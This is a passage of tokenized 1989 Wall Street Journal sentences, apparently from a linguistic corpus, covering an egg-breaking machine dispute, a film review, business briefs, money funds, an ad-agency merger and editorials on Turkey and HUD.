chefs and other food preparers who flocked to Mr. Maynard 's defense say that products ranging from egg bread to eclairs lose some zip when the eggs come in 30-pound cans instead of shells . +But for companies that use hundreds of eggs a day , breaking them by hand can get , well , out of hand . +The idea behind the Egg King is pretty simple : put the eggs into a cylinder that contains perforated baskets , spin them at a high speed to break the shells and strain the edible part through the baskets . +One Egg King -- which at just under four feet tall and two feet wide has been likened to the robot R2-D2 -- can crack about 20,000 eggs an hour . +Because fresh eggs are less expensive than processed ones , a big egg user can recover the Egg King 's $ 3,390 cost in a few months , says Mr. Maynard . +Such centrifugal egg breakers have been around since the 1890s . +But when Mr. Maynard came forward with his machine in the early 1970s nobody else was offering them in the U.S. . +The main reason : salmonella . +Chickens carry this bacteria , which can cause upset stomachs and , in rare cases , death among people . +Hens sometimes pass salmonella to the eggs , and it can also be found on unclean shells . +Thus , any machine that breaks large amounts of eggs at once has the potential to spread salmonella if a bad egg gets in with the good ones . +Mr. Maynard claims this is a manageable problem . +The Egg King carries written instructions to break only high-grade eggs that have been properly sanitized and , as an added precaution , to use the eggs only in products that will be cooked enough to kill bacteria . +With nearly 4,000 machines in use , there have been no salmonella problems as long as instructions were followed , Mr. Maynard boasts . +He says the handful of salmonella cases involving products that may have used eggs broken by an Egg King stemmed from a failure to adequately cook the products . +But he says that 's no more a reason for banning Egg Kings than bad drivers are a reason for banning cars . +Opponents do n't buy such arguments . +`` Human nature being what it is , people do n't always follow instructions , '' says Jack Guzewich , chief of food protection for the New York state Health Department . +Leading the assault against the Egg King has been United Egg Producers . +The Decatur , Ga. , trade group has issued a `` briefing book '' that claims the machine is `` a health hazard '' and that Mr. Maynard is trying `` to make a fast buck at the expense of the nation 's egg producers . '' +The UEP declines to comment , but the group 's attorney , Alfred Frawley , says the group 's actions are motivated solely by `` health concerns . '' +An early battleground was the U.S. Department of Agriculture . +Mr. Maynard initially won approval for his machine to be used at egg-processing facilities regulated by the USDA 's Food Safety Inspection Service . +Unfortunately for Mr. Maynard , another branch of the USDA , the Agricultural Marketing Service , was in charge of eggs . +After receiving complaints from egg producers , this branch got the other branch to rescind its approval , thus limiting the machine 's potential market to bakeries and restaurants and other establishments that are n't regulated by the USDA . +The egg producers also lobbied the Food and Drug Administration . +But the FDA in a 1985 letter to the United Egg Producers said that there was `` little likelihood '' of a health problem as long as instructions were followed . +So the producers went to Capitol Hill , where a congressman from Georgia introduced a measure to ban centrifugal egg-breaking machines . +Mr. Maynard , whose company at the time was based in Santa Ana , Calif. , enlisted his local congressman , and the battle was joined . +Mr. Maynard 's forces finally defeated the measure , though it took a vote on the floor of the House of Representatives to do it . +Even then , opponents managed to get a congressional hearing to examine what one congressman called an `` unscrupulous '' method for breaking eggs . +Foiled in their effort to get a national ban , the egg producers turned their attention to the states . +So far , New York , New Jersey , Nebraska , Georgia , Michigan and Minnesota have outlawed Mr. Maynard 's device , citing health concerns . +An antitrust suit that Mr. Maynard 's company filed in Los Angeles federal court against the United Egg Producers and others only added to the entrepreneur 's woes . +The judge dismissed the suit and ordered Mr. Maynard 's company to pay over $ 100,000 in legal fees to the defendants ' lawyers . +Mr. Maynard says the ruling pushed his company into bankruptcy court . +Now he has moved to Oklahoma where costs are lower , and started a new company , Adsi Inc. , to market his machine . +But , so far , the change of scenery has n't ended his string of bad breaks . +Mr. Maynard recently fell from a horse and fractured his arm . +Michelle Pfeiffer ca n't chew gum and sing at the same time . +But on the evidence of `` The Fabulous Baker Boys , '' that may be the only thing she ca n't do , at least when she 's acting in movies . +As the tough , slinky lounge chanteuse in `` The Fabulous Baker Boys , '' Ms. Pfeiffer sings for herself , and more than passably well . +Her Susie Diamond handles a song the way the greats do , like she 's hearing the way it should sound inside her head and she 's concentrating on matching that internal tone . +Yet her intensity stops and starts with the music . +When she is n't performing for an audience , she prepares for a song by removing the wad of gum from her mouth , and indicates that she 's finished by sticking the gum back in . +Like almost everything in this wonderfully romantic and edgy movie , Ms. Pfeiffer 's Susie seems like someone you 've seen before , in numerous show-biz stories -LRB- even her name , Susie Diamond , sounds like a character Marilyn Monroe must have played -RRB- . +Yet nothing about `` Baker Boys , '' and certainly nothing about Ms. Pfeiffer , really is like something from the video vault . +Steve Kloves , the young writer and director -LRB- he is n't yet 30 -RRB- , has only one produced picture to his credit ; he wrote the screenplay for `` Racing With the Moon , '' a lovely coming-of-age picture set in the '40s . +Both movies are infused with the nostalgic sensibility of someone much older , someone who does n't dismiss dreams , but who also has enough experience to see his limits . +However , Mr. Kloves directs his own material without sentimentality and at its own eccentric pace ; `` Baker Boys '' is both bluesy and funny . +He 's put a fresh spin on material that could come off terribly cliched ; for example , the way Susie wows an audience the first time she sings with the Baker Boys . +Of course , it does n't hurt that Mr. Kloves has made up for his lack of experience behind the camera with technicians who know exactly what they 're doing . +Much of the picture 's sensuality emerges from cinematographer Michael Ballhaus 's slyly seductive lens work . +After working for years with Werner Rainer Fassbinder , the late German director , and more recently with Martin Scorsese -LRB- `` After Hours , '' `` The Color of Money , '' `` The Last Temptation of Christ '' -RRB- , Mr. Ballhaus has developed a distinctively fluid style . +And Dave Grusin 's witty score embraces the banal requirements of banquet-hall musicianship -LRB- `` Feelings '' is a must -RRB- without condescension . +Though Ms. Pfeiffer has the flashy part -- she gets the best comic bits and to wear glamorous dresses and spiked heels the boys are pretty great , too . +What seemed like a good idea , to cast the Bridges brothers -LRB- Jeff and Beau -RRB- as the Baker brothers , actually turned out to be a good idea . +Anyone who 's tried to appear `` natural '' in front of a camera knows that it 's much more natural to end up looking like a stiff . +So it 's quite possible that the terrific play between the brothers is n't natural at all , that Jeff and Beau had to work like crazy to make their brotherly love -- and resentment and frustration and rage -- seem so very real . +When the movie opens the Baker brothers are doing what they 've done for 15 years professionally , and twice as long as that for themselves : They 're playing proficient piano , face-to-face , on twin pianos . +They 're small time in the small time-hotels -LRB- not the best ones -RRB- and restaurants in Seattle . +Yet they do n't disparage their audiences by disparaging their act . +They wear tuxedos most nights , unless circumstances -LRB- a regular gig at a `` tropical '' lounge , for example -RRB- require them to wear special costumes , like Hawaiian shirts . +Plump Beau , looking eager to please with his arched eyebrows and round face , plays the older brother , Frank . +Frank plans the program , takes care of business , and approaches the work like any other job . +He 's even able to think of a job that takes him out of the house 300 nights a week as an ordinary job . +He 's got a wife and two kids and a house in the suburbs ; the audience sees only the house , and only near the end of the movie . +Frank grovels a little for the bookers , probably no more or less than he would have to if he worked for a big corporation . +On his off-hours he wears cardigan sweaters . +Jeff Bridges is the younger brother , Jack , who fancies himself the rebellious artist ; he lives in a loft with his sick dog and the occasional visit from the little girl upstairs , who climbs down the fire escape . +Yet Jack 's the one who can remember every dive they ever played , and when , and he dutifully shows up for work night after night -LRB- he consoles himself with booze and by showing up at the last minute -RRB- . +Looking leaner than he has in a while , the younger Mr. Bridges 's Jack is sexy and cynical and a far sadder case than Frank , who 's managed to chisel his dreams to fit reality without feeling too cheated . +He can live with little pleasures . +Mr. Kloves has put together some priceless moments . +These include Jennifer Tilly 's audition to be the Baker Boys ' girl singer . +Ms. Tilly of the tweety-bird voice showed great comic promise during her stint as the mobster 's girlfriend on the television show , `` Hill Street Blues . '' +Here she delivers , especially during her enthusiastically awful rendition of the `` Candy Man , '' which she sings while prancing around in a little cotton candy pink angora sweater that could n't be more perfect . +-LRB- It matches her voice . -RRB- +And Ms. Pfeiffer 's particular version of `` Making Whoopee '' -- and the way Mr. Ballhaus photographs her , from the tips of her red high heels right up her clingy red velvet dress -- might make you think of Marilyn Monroe if Ms. Pfeiffer had n't gone and become a star in her own right . +VIDEO TIP : +If you 'd like to see the first time Michelle Pfeiffer sang on screen , and you have a lot of patience , take a look at `` Grease 2 . '' +You 'll find her there . +Better yet , check out the emergence of her comic persona in `` Married to the Mob , '' Jonathan Demme 's delightful Mafia comedy . +International Proteins Corp. definitively agreed to pay $ 49 million and 2,850,000 of its shares for Hanson PLC 's Ground Round restaurant subsidiary . +Shareholders of International Proteins , a food and agriproducts company , will vote on the transaction at a meeting late next month . +Hanson is a London producer of consumer and other goods . +International Proteins shares did n't trade yesterday on the American Stock Exchange . +They closed Tuesday in composite trading at $ 13.625 , down 37.5 cents , giving the stock portion of the transaction an indicated value of $ 38.8 million . +Control Data Corp. agreed to sell its idle supercomputer manufacturing plant here to Minnesota Mining & Manufacturing Co. for $ 5.8 million . +The tentative agreement calls for 3M to use the 115,000-square-foot plant and 19 acres of land for research laboratories . +Control Data has been seeking a buyer for the facility since it folded its ETA Systems Inc. supercomputer unit this past April . +General Dynamics Corp. was awarded contracts totaling $ 589 million for one Navy Trident submarine and for Air Force research on the National Aerospace plane . +Grumman Corp. won a $ 58.9 million Navy contract for 12 F-14 aircraft . +Raytheon Co. was issued a $ 19.2 million Air Force contract for support of the Milstar communications satellite . +McDonnell Douglas Corp. got a $ 12.5 million Air Force contract for support work on the National Aerospace plane . +Denis C. Smith was named to the new post of vice president of world-wide advanced materials operations for this chemicals concern . +Mr. Smith , 50 years old , was formerly responsible for advanced materials , which include plastic composites and alloys , in North America only . +Himont is 81%-owned by Montedison S.p . A. of Milan , Italy . +Galveston-Houston Co. said it will redeem all 3,950 shares of its privately held 6.5 % convertible Series C preferred stock Nov. 8 . +Holders can either convert each share into 421 shares of the company 's common stock , or surrender their shares at the per-share price of $ 1,000 , plus accumulated dividends of $ 6.71 a share . +Galveston-Houston makes and markets products for the construction , mining and energy industries . +Bank Building & Equipment Corp. of America , which previously said accounting discrepancies its auditors uncovered would hurt earnings and require restatement of earlier results , increased its projections of the negative fiscal impact , and said it was exploring the company 's sale . +Bank Building , which builds and equips banks , had announced it would restate the first-three quarters of this fiscal year , which ends Oct. 31 . +On Oct. 5 , the company estimated after-tax effects on the year 's earnings would be `` at least '' $ 1.3 million . +Yesterday , the company said the negative after-tax effect on earnings for the year will be about $ 3.3 million . +For the nine months ended July 31 , Bank Building had a net loss of $ 1 million , on revenue of $ 66.5 million . +Bank Building , which expects to report a fourth-quarter loss , said it engaged advisers to `` explore financial alternatives for the company including the possible sale of the company or one or more of its units . '' +Company auditors are continuing their review , and final restated figures are n't yet available . +Bank Building earlier said the restatement is necessitated by `` certain errors in recording receivables and payables '' at its Loughman Cabinet division . +That division 's manager has been fired . +In American Stock Exchange composite trading , Bank Building closed at $ 4 a share , down 62.5 cents . +Gen. Paul X. Kelley , retired commandant of the U.S. Marine Corps , was elected a director of this plastics , specialty materials and aerospace concern , succeeding Jewel Lafontant , who resigned to accept a government position . +Rep. Mary Rose Oakar -LRB- D. , Ohio -RRB- at last week 's hearings on irregularities in programs at the Department of Housing and Urban Development : +I do n't want to feel guilty representing my constituents . +And if I think that some people -LCB- on HUD Secretary Jack Kemp 's -RCB- staff are off base in terms in which they 're evaluating certain things affecting my hometown , I have to tell you something -- I 'm not going to take it . +I think that I 'm elected to represent the people that sent me here . +And one of our charges is to be an ombudsman for our area . +And if we 're not ombudsman for our area , we ought to be thrown out of office . +On the other hand , if we 're asking for something unreasonable or unethical and so on , then that 's a whole different story . +But if I feel that there are situations where I 'm trying to get housing for our area -- whatever it happens to be -- and I have to feel that I ca n't even ask a question , I 've got to tell you , I think that 's outrageous . . +I think these regulations that would prohibit well-operated programs in areas across this country would be wrong to change ... . +I do n't want to see some guidelines change that 's going to inhibit my city 's opportunity to use its money . +The Chicago Mercantile Exchange said it fined Capcom Futures Inc. $ 500,000 and accepted its withdrawal from membership as part of a settlement of disciplinary actions against the firm . +Capcom Futures is a Chicago subsidiary of Capcom Financial Services Ltd. , a London financial firm that was implicated last year in a scheme to launder drug money . +The case is pending . +The firm was indicted in Tampa , Fla. , on money-laundering charges . +In June , the Chicago Board of Trade said it suspended Capcom Financial . +The Capcom Futures unit withdrew from Board of Trade membership voluntarily in August , a Board of Trade spokesman said . +Capcom Futures , while neither admitting nor denying the Merc charges , said in a statement that the Merc charges were `` technical in nature '' and that `` no customers were hurt '' as a result of the violations cited by the Merc . +The Merc alleged that , among other things , from April 1987 through October 1988 Capcom Futures failed to document trades between Capcom Futures and people or entities directly or indirectly controlled by Capcom Futures shareholders . +Frederick W. Lang , 65 years old , the founder of this software services concern , was elected to the new post of chairman . +Formerly president and treasurer , Mr. Lang remains chief executive officer . +Victor C. Benda , 58 , formerly executive vice president , succeeds Mr. Lang as president and becomes chief operating officer , a new post . +Maurice Warren , 56-year-old group managing director , was named chief executive officer of this food and agriculture group . +The post of chief executive has been vacant since July when Terry Pryce , 55 , left the company . +Money-market mutual fund assets grew at nearly three times their usual rate in the latest week , as investors opted for safety instead of the stock market . +Money-fund assets soared $ 4.5 billion in the week ended Tuesday , to a record $ 348.4 billion , according to IBC\/Donoghue 's Money Fund Report , a Holliston , Mass.-based newsletter . +`` We were expecting it , following the fall of the Dow Friday , '' said Brenda Malizia Negus , editor of Money Fund Report . +`` It 's the proverbial flight to safety . '' +Despite recent declines in interest rates , money funds continue to offer better yields than other comparable investments . +The average seven-day compound yield on the 400 taxable funds tracked by IBC\/Donoghue 's was 8.55 % in the latest week , down from 8.60 % . +Compound yields assume reinvestment of dividends and that current yields continue for a year . +Most short-term certificates of deposit are yielding about 8 % or less at major banks , and the yields on Treasury bills sold at Monday 's auction fell to 7.61 % for three months and 7.82 % for six months . +Money-fund assets have been rising at an average rate of $ 1.6 billion a week in recent months , Ms. Negus said , reflecting the relatively high yields . +In the latest week , funds open to institutions alone grew by $ 1.8 billion . +Some fund managers say inflows could increase in coming days as a result of stock selling in the wake of Friday 's 190.58 point drop in the Dow Jones Industrial Average . +`` If you 're selling equities , you do n't start getting proceeds for five to seven days , '' said Frank Rachwalski , who manages the Kemper Money Market Fund . +Neal Litvack , marketing vice president for Fidelity Investments , said inflows Friday into Fidelity 's Spartan and Cash Reserves money-market funds were about twice normal levels , with about half coming from equity and junk-bond funds . +Monday and Tuesday `` were lackluster in comparison , '' he said . +`` People are n't necessarily running scared , '' Mr. Litvack said . +`` They 're maintaining their attitude toward investing , which has leaned toward the conservative recently . '' +Money-fund yields tend to lag interestrate trends as portfolio managers adjust the maturities of their investments -- short-term Treasury securities , commercial paper and the like -- to capture the highest yields . +Maturities usually are shorter when rates are rising and longer when they are falling . +The average maturity of the funds tracked by IBC\/Donoghue 's remained at 38 days for the third consecutive week . +It was as short as 29 days at the start of this year , when rates were marching steadily upward , and hit 42 days in August . +The average seven-day simple yield of the funds fell to 8.21 % this week from 8.26 % . +The average 30-day simple yield was 8.26 % , compared with 8.27 % the week before , and the 30-day compound yield slid to 8.60 % from 8.61 % . +Some funds are posting yields far higher than the average . +The highest yielding taxable fund this week was Harbor Money Market Fund , with a seven-day compound yield of 12.75 % . +That included capital gains that were passed along to customers . +Among the other high-yielding funds , Fidelity 's Spartan Fund had a seven-day compound yield of 9.33 % in the latest week . +The seven-day compound yield of the Dreyfus Worldwide Dollar Fund was 9.51 % . +whose Della Femina McNamee WCRS agency created liar Joe Isuzu , among others -- announced a massive restructuring that largely removes it from the advertising business and includes selling the majority of its advertising unit to Paris-based Eurocom . +The complex restructuring , which was long expected , transforms London-based WCRS from primarily a creator of advertising into one of Europe 's largest buyers of advertising time and space . +It also creates a newly merged world-wide ad agency controlled by Eurocom and headed jointly by New York ad man Jerry Della Femina and two top WCRS executives . +The merged agency 's admittedly ambitious goal : to become one of the world 's 10 largest agencies , while attracting more multinational clients than the agencies were able to attract alone . +WCRS 's restructuring reflects the growing importance of media buying in Europe , where the only way to get a good price on advertising time and space is to buy it in bulk . +For Eurocom , meanwhile , the move gives it a strong U.S. foothold in Della Femina , and more than quadruples the size of its ad agency business world-wide . +It also gives the outspoken Mr. Della Femina -- who often generates as much publicity for himself as for his clients -- an international platform that he most certainly wo n't be loath to use . +According to terms , WCRS will pay 2.02 billion French francs -LRB- $ 318.6 million -RRB- for the 50 % it does n't already own of Carat Holding S.A. , one of Europe 's largest media buyers . +Meanwhile , Eurocom , which had held 20 % of WCRS 's ad unit , will pay # 43.5 million -LRB- $ 68.5 million -RRB- to raise its stake to 60 % . +That price also covers Eurocom raising to 60 % its 51 % stake in Europe 's Belier Group , a joint venture ad agency network it owns with WCRS . +Eurocom will also have the right to buy the remaining 40 % of the merged ad agency group in six years . +The transaction places the three executives squarely at the helm of a major agency with the rather unwieldy name of Eurocom WCRS Della Femina Ball Ltd. , or EWDB . +The merged agency will include Della Femina McNamee based in New York , Eurocom 's various agencies in France , the Belier Group in Europe and WCRS 's other advertising and direct marketing operations . +Mr. Della Femina will be joint chairman with former WCRS executive Robin Wight . +Both will report to Tim Breene , a former WCRS executive who will be chief executive officer at the new agency . +In an interview in New York , Mr. Breene , fresh from a Concorde flight from Paris where executives had worked through most of the night , outlined big plans for the new agency . +`` Our goal is to develop quite rapidly to a top-10 position ... by the end of three years from now . +It implies very dramatic growth , '' he said . +He added that Eurocom and WCRS had agreed to provide a development fund of # 100 million for acquisitions . +The new agency group is already in discussions about a possible purchase in Spain , while Mr. Breene said it also plans to make acquisitions in Scandinavia , Germany and elsewhere . +Cracking the top 10 within three years will be difficult at best . +Della Femina had billings of just $ 660 million last year and ranked as the U.S. 's 24th-largest ad agency . +The merged company that it now becomes part of will have billings of just more than $ 2.6 billion -- most of that in Europe -- bringing it to about 14th world-wide . +To make it to top-10 status , it would have to leapfrog over such formidable forces as Grey Advertising , D'Arcy Masius Benton & Bowles and Omnicom 's DDB Needham . +The merged agency 's game plan to attract multinational packaged-goods advertisers may prove equally difficult . +When WCRS created Della Femina McNamee out of the merger of three smaller agency units in 1988 , it said it did so in order to attract larger clients , especially packaged-goods companies . +Since then , Della Femina won Pan Am as an international client and also does work for a few packaged-goods clients , including Dow Chemical Co. 's Saran Wrap . +But major packaged-goods players of the world -- such as Procter & Gamble , Colgate-Palmolive and Unilever -- have steadfastly eluded the agency . +`` Three of our favorite names , '' Mr. Della Femina calls that roster , adding hopefully , `` We 're a much more attractive agency to large multinationals today than we were yesterday . '' +Still , the restructuring could create one of the most powerful alliances between advertising and media-buying firms that Europe has seen . +As part of the restructuring , WCRS and Eurocom said they will look for ways to combine their media buying across Europe . +What 's more , both Eurocom and brothers Francis and Gilbert Gross , who founded Carat , will acquire 14.99 % stakes in WCRS Group , creating a powerful link between Eurocom and Carat . +Carat will receive its WCRS stake as part of payment for the 50 % Carat stake that WCRS is buying , while Eurocom said it expects to pay about # 32 million for its WCRS stake . +Mr. Della Femina says he plans to remain heavily involved in the creative product at the world-wide agency , serving as a sort of `` creative conscience . '' +Louise McNamee , Della Femina 's president , will continue running the U.S. agency day-to-day . +They and other top executives signed long-term employment contracts and Mr. Della Femina will receive an additional multimillion-dollar sum , which some industry executives pegged at about $ 10 million . +WCRS Group , for its part , will now be able to follow its longstanding plan of becoming `` a holding company for a series of media-related businesses , '' said Peter Scott , the firm 's chief executive . +In addition to Carat , WCRS will hold onto its public relations , TV programming and other businesses . +WCRS says its debt will be cut to # 24 million from # 66 million as a result of the transaction . +For Carat , meanwhile , the alliance with Eurocom and WCRS is intended to strengthen its own push outside France . +Carat 's Gross brothers invented the idea of large-scale buying of media space . +By buying the space in bulk , they obtain discounts as high as 50 % , which they can pass on to customers . +They thus have won the French space-buying business of such advertising giants as Coca-Cola Co. , Fiat S.p . A. , Gillette and Kodak . +But now , other agencies are getting into the business with their own competing media-buying groups -- and Carat wants to expand to the rest of Europe . +To help finance the Carat purchase , WCRS said it plans an issue of Euroconvertible preferred shares once the market settles down . +But WCRS added that `` in the light of the current uncertainty in the equity markets , '' it has arranged medium-term debt financing , which would be underwritten by Samuel Montagu & Co. Ltd . +Earthquake 's Damage +Tuesday 's earthquake brought the San Francisco ad scene to a screeching halt yesterday , with only a few staffers showing up at their offices , mainly to survey the damage or to wring their hands about imminent new-business presentations . +While no agencies reported injuries to employees , the quake damaged the offices of J. Walter Thompson , Chiat\/Day\/Mojo and DDB Needham , among others , spokesmen for those agencies said . +Staffers at Thompson , whose offices are in the ultramodern Embarcadero Center , watched pictures drop from the walls and then felt the skyscraper sway seven to eight feet , according to a spokeswoman . +Plaster fell and windows were broken at Chiat\/Day\/Mojo , a spokesman for that agency said . +Late yesterday afternoon , DDB Needham executives were scrambling to figure out what to do about a new business presentation that had been scheduled for today , a spokesman said . +DDB Needham 's office building may have sustained structural damage , the spokesman added . +`` All operations have stopped , '' he said . +A number of agencies , including Thompson and Foote , Cone & Belding , said some employees who live outside of San Francisco , fearful that they would n't be able to get home , spent the night at the agency . +Ad Notes ... . +NEW ACCOUNT : +Chesebrough-Pond 's Inc. , Greenwich , Conn. , awarded its Faberge hair care accounts to J. Walter Thompson , New York . +Thompson , a unit of WPP Group , will handle Faberge Organic shampoo and conditioner and Aqua Net hairspray . +The accounts , which billed about $ 7 million last year , according to Leading National Advertisers , were previously handled at Bozell , New York . +WHO 'S NEWS : +William Morrissey , 44 , was named executive vice president , world-wide director of McCann Direct , the direct marketing unit of Interpublic Group 's McCann-Erickson agency . +He had been president and chief operating officer of Ogilvy & Mather Direct . +BOZELL : +Los Angeles will be the site of a new entertainment division for the ad agency . +The division will be headed by Dick Porter , who returns to Bozell after being vice president of media at MGM . +AC&R ADVERTISING : +The agency 's three California offices , previously called AC&R\/CCL Advertising , will now be called AC&R Advertising to match the name of its New York office . +AC&R Advertising is a unit of Saatchi & Saatchi Co . +NEW BEER : +Sibra Products Inc. , Greenwich , Conn. , awarded its Cardinal Amber Light beer account to Heidelberg & Associates , New York . +Budget is set at $ 1.5 million . +The new beer , introduced this week at a liquor industry convention , is imported from Switzerland 's Cardinal brewery . +Heidelberg 's first ads for the brand , which Sibra says will compete with imported light beer leader Amstel Light , feature the line `` The best tasting light beer you 've ever seen . +Diamond-Star Motors Corp. , a joint venture of Chrysler Corp. and Mitsubishi Motors Corp. said it will begin shipping Mitsubishi Eclipse cars to Japan next week , emulating other Japanese auto ventures shipping U.S.-built vehicles back to Japan . +Diamond-Star said it will export about 1,500 Eclipse cars to Japan by year 's end . +Honda Motor Co. , the first Japanese auto maker to ship cars to Japan from the U.S. , is now exporting more than 5,000 Accord Coupes a year from its Marysville , Ohio , factory . +One of the most remarkable features of the forced marches of the ethnic Turks out of Bulgaria over the past five months has been the lack of international attention . +The deportation of more than 315,000 men , women and children by the Bulgarian regime adds up to one of the largest migrations seen in the postwar years . +Yet some people are advancing a chilling casuistry : that what we are seeing is somehow the understandable result of the historical sins committed by the Turks in the 16th century . +Today 's Turks in Bulgaria , in other words , deserve what is coming to them four centuries later . +As if this were n't enough , the Senate Judiciary Committee is getting into the act . +On Tuesday it approved Senator Bob Dole 's proposed commemorative resolution designating April 24 , 1990 , as the `` National Day of Remembrance of the 75th Anniversary of the Armenian Genocide of 1915-1923 , '' suffered at the hands of the warring Ottoman Empire . +There can be no quibbling that the Armenians endured terrible suffering , but one has to wonder what possible good such a resolution will achieve . +It puts great strain on a longstanding U.S. friendship with Turkey , a country that has been one of America 's strongest allies in NATO . +The resolution also comes at a time when Turkey has been seeking help from the United States in resolving its Bulgarian emigration controversy and pursuing democratic reforms that may lead to membership in the European Community . +Turkey has been fighting its past for years , and thus far has been only partially successful . +Must it now accept that one of its strongest allies blames it for the genocide of another people ? +Such sentiment only encourages the adverse feelings toward Turkey that surfaced when Turkey asked for assistance in dealing with its Bulgarian emigration crisis . +Mr. Dole 's odd effort notwithstanding , most of Turkey 's political problems lie with the Europeans . +Part of the problem some Europeans have with Turkey seems to stem from its location -- Turkey is n't really part of Europe . +Why , they wonder , should it belong to the EC ? +Another anti-Turkish hook is the Islamic faith of the majority of the Turkish people : Turkey , we are told , is not a Christian nation ; its people simply wo n't fit in with the Western European Judeo-Christian tradition . +It 's when these rationalizations fall on deaf ears that the old standby of retribution for treatment at the hands of the Ottoman Empire comes to the fore . +No one has to accept the sins of the Ottoman Empire to reject that argument . +Turkey in any event is long past it . +The country has in recent years accepted more than 500,000 refugees from at least four bordering nations . +Kurds , suffering what many people consider to be a current extermination campaign at the hands of Syria , Iran and Iraq have inundated eastern Turkey . +Now it is their fellow Turks arriving as refugees from Bulgaria . +The Turkish refugee tragedy and the ongoing crisis can not be ignored and shuttled off to that notorious dustbin of history that has become so convenient recently . +Surely , the past suffering of any people at any time can not be simply filed away and forgotten . +But what the Senate Judiciary Committee has done in supporting the strongly worded Armenian resolution achieves no useful end ; it merely produces more controversy and embittered memories . +Congress has enough difficulty dealing with the realities of the world as it currently exists . +Bulgaria 's government has been behaving beyond the pale for months , and the U.S. does its values no credit by ignoring that while casting its votes into the past . +Many in Washington say President Bush will have to raise taxes to pay for his war on drugs . +We have a better idea : Dismantle HUD to pay for the war on drugs . +Housing and Urban Development 's budget is $ 17 billion . +From what we and the nation have been reading , the money is n't being spent very well . +The single most important contribution the government could make now to help the poor is to get the specter of drugs out of their neighborhoods . +If that takes money , take it away from this discredited federal department . +But of course the Democrats pillorying HUD in hearings and in the press have no such solution in mind . +Instead , they 're scrambling to protect the very programs at the heart of the HUD scandal . +This month , HUD Secretary Jack Kemp unveiled a series of proposed reforms to improve management at HUD . +No doubt many of his ideas are worthy , but ultimately he is proposing to make fundamentally flawed programs work slightly more fairly and efficiently . +Congress is unlikely to go even that far . +Last week , Secretary Kemp ran into a buzzsaw of criticism from House Banking Committee members . +They were appalled , for instance , that he wanted to target more of the $ 3 billion Community Development Block Grant -LRB- CDBG -RRB- program to low-income projects and zero out the notorious `` discretionary '' funds that have allowed HUD officials to steer contracts to political cronies . +These development grants mainly enrich developers who want to put up shopping centers and parking garages . +They also give those in Congress political credit for bringing home the pork , and so they are popular with such Members as Mary Rose Oakar . +Rep. Oakar , a Democrat from Cleveland , wants a $ 6.9 million grant so Cleveland can build an 18-story Rock and Roll Hall of Fame . +She says it 'd create 600 jobs and bring Cleveland tourist revenue . +HUD says the project does n't qualify , and Mr. Kemp says that rock 'n' roll musicians and the music industry ought to put up the money . +At the hearing , Rep. Oakar started wailing about `` phoney baloney regulations '' that would stand between her and `` housing for downtown Cleveland . '' +Rep. Chalmers Wylie , an Ohio Republican , rallied to the cause : `` I think the gentlelady is making an important statement . +The implication that if a congressman calls about a project in his district there 's something wrong , I think is most unfortunate . '' +We 're sure some theologian can explain the difference between what the Republican consultants have been doing with HUD and what these gentleladies and gentlemen want to do with HUD . +Our view is that given Congress 's attitude toward HUD , the place probably is beyond reform . +For more than 50 years the federal government has tried various ways to provide housing for the poor and revive cities . +In the process HUD has wasted untold billions , created slums and invited corruption . +Much of HUD 's spending actually is disguised welfare for developers or the middle class . +That includes the CDBG funds and the Federal Housing Administration , which loans out money for private home mortgages and has just been discovered to be $ 4 billion in the hole . +Selling the FHA 's loan portfolio to the highest bidder would save the taxpayers untold billions in future losses . +Some HUD money actually does trickle down to the poor , and zeroing out housing middlemen would free up more money for public housing tenants to manage and even own their units . +The rest ought to be used to clean out drugs from the neighbhorhoods . +Rival gangs have turned cities into combat zones . +Even suburban Prince George 's County , Md. , reported last week there have been a record 96 killings there this year , most of them drug-related . +Innocent bystanders often are the victims . +A man in a wheelchair was gunned down in the crossfire of a Miami drug battle . +A three-year-old Brooklyn boy was used as a shield by a drug dealer . +Decent life in the inner cities wo n't be restored unless the government reclaims the streets from the drug gangs . +Until then , the billions HUD spends on inner-city housing simply is wasted . +It 's still unclear whether Secretary Kemp wants to completely overhaul the engine room at HUD or just tighten a few screws here and there . +No doubt he believes the place can be salvaged . +Having seen the hypocrisy with which Congress has addressed the HUD scandals , we disagree . +It 's time to scrap the politically infested spending machine HUD has become and channel the resources into the drug war . +Randy Delchamps was named chairman and chief executive officer of this grocery chain . +Mr. Delchamps , 46 years old , succeeds A.F. Delchamps Jr. , who died in a plane crash on Sunday at the age of 58 . +Randy Delchamps retains his position as president . +Natural upheavals , and most particularly earthquakes , are not only horrible realities in and of themselves , but also symbols through which the state of a society can be construed . +The rubble after the Armenian earthquake a year ago disclosed , quite literally , a city whose larger structures had been built with sand . +The extent of the disaster stemmed from years of chicanery and bureaucratic indifference . +The larger parallel after the earthquake centered south of San Francisco is surely with the state of the U.S. economy . +Did the stock-market tremors of Friday , Oct. 13 , presage larger fragility , far greater upheavals ? +Are the engineering and architecture of the economy as vulnerable as the spans of the Bay Bridge ? +The eerie complacency of the Reagan-Bush era has produced Panglossian paeans about the present perfection of U.S. economic and social arrangements . +A licensed government intellectual , Francis Fukuyama , recently announced in The National Interest that history is , so to speak , at an end since the course of human progress has now culminated in the glorious full stop of American civilization . +His observations were taken seriously . +But we are , in reality , witnessing the continuing decline of the political economy of capitalism : not so much the end of history but the history of the end . +The financial equivalent of the sand used by those Armenian contractors is junk bonds and the leveraged buy-outs associated with them . +Builders get away with using sand and financiers junk when society decides it 's okay , necessary even , to look the other way . +And by the early 1980s U.S. capitalists had ample reason to welcome junk bonds , to look the other way . +By that time they found extremely low profit rates from non-financial corporate investment . +Government statistics in fact show that the profit rate -- net pretax profits divided by capital stock -- peaked in 1965 at 17.2 % . +That same calculation saw profit rates fall to 4.6 % in the recession year 1982 and the supposed miracle that followed has seen the profit rate rise only to 8.1 % in 1986 and 8 % in 1987 . +Corresponding to the fall in profit rates was -- in the early 1980s -- the drop in the number arrived at if you divide the market value of firms by the replacement costs of their assets , the famous Q ratio associated with Prof. James Tobin . +In theory , the value attached to a firm by the market and the cost of replacing its assets should be the same . +But of course the market could decide that the firm 's capital stock -- its assets -- means nothing if the firm is not producing profits . +This is indeed what the market decided . +By 1982 the ratio was 43.5 % , meaning that the market was valuing every dollar 's worth of the average firm 's assets at 43 cents . +From the history of capitalism we can take it as a sound bet that if it takes only 43 cents to buy a dollar 's worth of a firm 's capital stock , an alert entrepreneur wo n't look the other way . +His assumption is that the underlying profitability rate will go up and the capital assets he bought on the cheap will soon be producing profits , thus restoring the market 's faith in them . +Hence the LBO craze . +But here is where the entrepreneur made a very risky bet , and where society was maybe foolish to look the other way . +The profit rate is still low and the Q ratio was only 65 % in 1987 and 68.9 